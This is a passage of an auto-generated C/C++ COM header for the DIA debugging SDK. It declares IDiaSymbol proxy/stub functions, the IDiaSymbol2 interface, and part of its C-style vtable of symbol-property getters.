*_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_coffGroup_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ IDiaSymbol **pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_coffGroup_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_bindID_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_bindID_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_bindSpace_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_bindSpace_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_bindSlot_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_bindSlot_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol2_INTERFACE_DEFINED__\n#define __IDiaSymbol2_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol2 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"611e86cd-b7d1-4546-8a15-070e2b07a427\")\n    IDiaSymbol2 : public IDiaSymbol\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isObjCClass( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isObjCCategory( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isObjCProtocol( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol2 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol2 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol2 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol2 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol2 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol2 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol2 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol2 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol2 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol2 * This,\n            /* 